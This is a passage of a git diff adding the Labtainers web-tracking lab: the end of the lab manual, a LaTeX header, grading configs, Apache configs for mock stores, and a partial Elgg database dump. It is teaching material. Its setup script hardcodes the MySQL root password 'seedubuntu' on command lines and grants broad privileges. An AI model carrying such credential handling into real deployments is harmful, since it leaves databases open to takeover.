\url{www.google.com/settings/ads}. +You can also find the Opt out option provided in the above Google URL. + +\section{Guidelines} + +The diagram in Figure~\ref{fig:guideline_figure} shows the high level architecture of the Web tracking. +In this diagram we have three major components, the {\tt E-Commerce} websites, {\tt Ad server} and the {\tt Elgg} website to display the targeted advertisements. +Each of the e-commerce websites have {\tt web bugs} or {\tt beacons} to track user preferences. +They are implanted as 1px by 1px image tags in the websites. + + \begin{figure} + \centering + \includegraphics[width=0.8\textwidth,natwidth=621,natheight=403]{Figs/Guidelinefigure.jpg} + \caption{High level architecture diagram of web tracking} + \label{fig:guideline_figure} + \end{figure} + + +\section{Submission} + +You need to submit a detailed lab report to describe what you have +done and what you have observed. Please provide details using +{\tt Web Developer / Network}, and/or screen shots. +You also need to provide explanation +to the observations that are interesting or surprising. +If you edited your lab report on a separate system, copy it back to the Linux system at the location +identified when you started the lab, and do this before running the stoplab command. + +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} +stoplab webtrack +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + +\begin{thebibliography}{10} + + +\bibitem{httpcookieitem} +HTTP Cookie - Wikipedia. Available at the following URL: + +\newblock \url{http://en.wikipedia.org/wiki/HTTP_cookie}. + +\bibitem{newcookie} +New Cookie Technologies : Harder to See and Remove, Widely Used to Track you + + +https://www.eff.org/deeplinks/2009/09/new-cookie-technologies-harder-see-and-remove-wide + + + +\bibitem{onlinetracking} +How Online Tracking companies know most of what you do online + +\newblock \url{https://www.eff.org/deeplinks/2009/09/online-trackers-and-social-networks}. + + +\end{thebibliography} + + +\end{document} + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/header.tex new file mode 100644 index 000000000..feb73a788 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/header.tex @@ -0,0 +1,193 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/read_first.txt new file mode 100644 index 000000000..38a0cbf38 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/webtrack.pdf +The lab report template is at: + file://LAB_DOCS/webtrack-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/webtrack-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/webtrack-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/docs/webtrack-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/goals.config new file mode 100644 index 000000000..a08708b8e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/goals.config @@ -0,0 +1,7 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#DOC: number of sites visited by the student +num_sites = value : sites_visited +#DOC: use of the http headers program to view header info +http_headers = value : headers diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/pregrade.sh new file mode 100755 index 000000000..9d2949512 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/pregrade.sh @@ -0,0 +1,41 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +echo $is_sqlite +here=`pwd` +places=$here/.mozilla/firefox/*default/places.sqlite +for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "PRAGMA wal_checkpoint;" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi +done + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/results.config new file mode 100644 index 000000000..3297c5a5f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/instr_config/results.config @@ -0,0 +1,5 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +sites_visited = browser:moz_places.txt : LINE_COUNT +headers = browser:.local/result/moz_places.txt : STRING_COUNT : live-http-headers diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_bin/dosql.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_bin/dosql.sh new file mode 100755 index 000000000..ec78b4c20 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_bin/dosql.sh @@ -0,0 +1,18 @@ +#!/bin/bash +while [ 1 ]; do + date + mysql -u root -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('seedubuntu')" + result=$? + if [[ $result == 0 ]]; then + break + else + echo no server, sleep + sleep 1 + fi +done +mysql -u root -pseedubuntu -e "CREATE DATABASE if not exists myelgg; " +mysql -u root -pseedubuntu myelgg < $HOME/myelgg.sql +mysql -u root -pseedubuntu -e "CREATE DATABASE if not exists revive_adserver; " +mysql -u root -pseedubuntu revive_adserver < $HOME/revive.sql +mysql -u root -pseedubuntu -e "CREATE USER 'wtuser'@'localhost' IDENTIFIED BY 'seeduser';" +mysql -u root -pseedubuntu -e "GRANT ALL PRIVILEGES ON revive_adserver.* TO 'wtuser'@'localhost';" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_bin/fixlocal.sh new file mode 100755 index 000000000..5b6a68a32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +date +$HOME/.local/bin/dosql.sh & +date diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtcamerastore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtcamerastore.com.conf new file mode 100644 index 000000000..0ae3afc1d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtcamerastore.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.wtcamerastore.com + DocumentRoot /var/www/wtcamerastore.com + ServerAlias wtcamerastore.com + ErrorLog /var/www/wtcamerastore.com/error.log + CustomLog /var/www/wtcamerastore.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtelectronicsstore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtelectronicsstore.com.conf new file mode 100644 index 000000000..ac4c7f50a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtelectronicsstore.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.wtelectronicsstore.com + DocumentRoot /var/www/wtelectronicsstore.com/ + ServerAlias wtelectronicsstore.com + ErrorLog /var/www/wtelectronicsstore.com/error.log + CustomLog /var/www/wtelectronicsstore.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtlabadserver.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtlabadserver.com.conf new file mode 100644 index 000000000..0d028e26e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtlabadserver.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.wtlabadserver.com + DocumentRoot /var/www/wtlabadserver.com + ServerAlias wtlabadserver.com + ErrorLog /var/www/wtlabadserver.com/error.log + CustomLog /var/www/wtlabadserver.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtlabelgg.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtlabelgg.com.conf new file mode 100644 index 000000000..ec949c4d6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtlabelgg.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.wtlabelgg.com + DocumentRoot /var/www/wtlabelgg.com/elgg + ServerAlias wtlabelgg.com + ErrorLog /var/www/wtlabelgg.com/error.log + CustomLog /var/www/wtlabelgg.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtmobilestore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtmobilestore.com.conf new file mode 100644 index 000000000..879cdec23 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtmobilestore.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.wtmobilestore.com + DocumentRoot /var/www/wtmobilestore.com + ServerAlias wtmobilestore.com + ErrorLog /var/www/wtmobilestore.com/error.log + CustomLog /var/www/wtmobilestore.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtshoestore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtshoestore.com.conf new file mode 100644 index 000000000..a9bd0487d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-available/wtshoestore.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.wtshoestore.com + DocumentRoot /var/www/wtshoestore.com + ServerAlias wtshoestore.com + ErrorLog /var/www/wtshoestore.com/error.log + CustomLog /var/www/wtshoestore.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtcamerastore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtcamerastore.com.conf new file mode 120000 index 000000000..f8d4647e2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtcamerastore.com.conf @@ -0,0 +1 @@ +../sites-available/wtcamerastore.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtelectronicsstore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtelectronicsstore.com.conf new file mode 120000 index 000000000..1f80dea54 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtelectronicsstore.com.conf @@ -0,0 +1 @@ +../sites-available/wtelectronicsstore.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtlabadserver.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtlabadserver.com.conf new file mode 120000 index 000000000..b84515b98 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtlabadserver.com.conf @@ -0,0 +1 @@ +../sites-available/wtlabadserver.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtlabelgg.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtlabelgg.com.conf new file mode 120000 index 000000000..05ec391cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtlabelgg.com.conf @@ -0,0 +1 @@ +../sites-available/wtlabelgg.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtmobilestore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtmobilestore.com.conf new file mode 120000 index 000000000..8463b2d07 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtmobilestore.com.conf @@ -0,0 +1 @@ +../sites-available/wtmobilestore.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtshoestore.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtshoestore.com.conf new file mode 120000 index 000000000..5aa359831 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/etc/httpd/sites-enabled/wtshoestore.com.conf @@ -0,0 +1 @@ +../sites-available/wtshoestore.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/myelgg.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/myelgg.sql new file mode 100644 index 000000000..5351aad0c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/webtrack/web-sites/myelgg.sql @@ -0,0 +1,695 @@ +-- MySQL dump 10.13 Distrib 5.6.38, for Linux (x86_64) +-- +-- Host: localhost Database: myelgg +-- ------------------------------------------------------ +-- Server version 5.6.38 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Current Database: `myelgg` +-- + +CREATE DATABASE /*!32312 IF NOT EXISTS*/ `myelgg` /*!40100 DEFAULT CHARACTER SET latin1 */; + +USE `myelgg`; + +-- +-- Table structure for table `elgg_access_collection_membership` +-- + +DROP TABLE IF EXISTS `elgg_access_collection_membership`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_access_collection_membership` ( + `user_guid` int(11) NOT NULL, + `access_collection_id` int(11) NOT NULL, + PRIMARY KEY (`user_guid`,`access_collection_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_access_collection_membership` +-- + +LOCK TABLES `elgg_access_collection_membership` WRITE; +/*!40000 ALTER TABLE `elgg_access_collection_membership` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_access_collection_membership` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_access_collections` +-- + +DROP TABLE IF EXISTS `elgg_access_collections`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_access_collections` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `name` text NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `site_guid` bigint(20) unsigned NOT NULL DEFAULT '0', + PRIMARY KEY (`id`), + KEY `owner_guid` (`owner_guid`), + KEY `site_guid` (`site_guid`) +) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_access_collections` +-- + +LOCK TABLES `elgg_access_collections` WRITE; +/*!40000 ALTER TABLE `elgg_access_collections` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_access_collections` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_annotations` +-- + +DROP TABLE IF EXISTS `elgg_annotations`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_annotations` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `entity_guid` bigint(20) unsigned NOT NULL, + `name_id` int(11) NOT NULL, + `value_id` int(11) NOT NULL, + `value_type` enum('integer','text') NOT NULL, + `owner_guid` bigint(20) unsigned NOT NULL, + `access_id` int(11) NOT NULL, + `time_created` int(11) NOT NULL, + `enabled` enum('yes','no') NOT NULL DEFAULT 'yes', + PRIMARY KEY (`id`), + KEY `entity_guid` (`entity_guid`), + KEY `name_id` (`name_id`), + KEY `value_id` (`value_id`), + KEY `owner_guid` (`owner_guid`), + KEY `access_id` (`access_id`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_annotations` +-- + +LOCK TABLES `elgg_annotations` WRITE; +/*!40000 ALTER TABLE `elgg_annotations` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_annotations` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_api_users` +-- + +DROP TABLE IF EXISTS `elgg_api_users`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_api_users` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `site_guid` bigint(20) unsigned DEFAULT NULL, + `api_key` varchar(40) DEFAULT NULL, + `secret` varchar(40) NOT NULL, + `active` int(1) DEFAULT '1', + PRIMARY KEY (`id`), + UNIQUE KEY `api_key` (`api_key`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_api_users` +-- + +LOCK TABLES `elgg_api_users` WRITE; +/*!40000 ALTER TABLE `elgg_api_users` DISABLE KEYS */; +/*!40000 ALTER TABLE `elgg_api_users` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_config` +-- + +DROP TABLE IF EXISTS `elgg_config`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_config` ( + `name` varchar(255) NOT NULL, + `value` text NOT NULL, + `site_guid` int(11) NOT NULL, + PRIMARY KEY (`name`,`site_guid`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_config` +-- + +LOCK TABLES `elgg_config` WRITE; +/*!40000 ALTER TABLE `elgg_config` DISABLE KEYS */; +INSERT INTO `elgg_config` VALUES ('view','s:7:\"default\";',1),('language','s:2:\"en\";',1),('default_access','s:1:\"2\";',1),('allow_registration','b:1;',1),('walled_garden','b:0;',1),('allow_user_default_access','s:0:\"\";',1); +/*!40000 ALTER TABLE `elgg_config` ENABLE KEYS */; +UNLOCK TABLES; + +-- +-- Table structure for table `elgg_datalists` +-- + +DROP TABLE IF EXISTS `elgg_datalists`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; +CREATE TABLE `elgg_datalists` ( + `name` varchar(255) NOT NULL, + `value` text NOT NULL, + PRIMARY KEY (`name`) +) ENGINE=MyISAM DEFAULT CHARSET=utf8; +/*!40101 SET character_set_client = @saved_cs_client */; + +-- +-- Dumping data for table `elgg_datalists` +-- + +LOCK TABLES `elgg_datalists` WRITE; +/*!40000 ALTER TABLE `elgg_datalists` DISABLE KEYS */; +INSERT INTO `elgg_datalists` VALUES 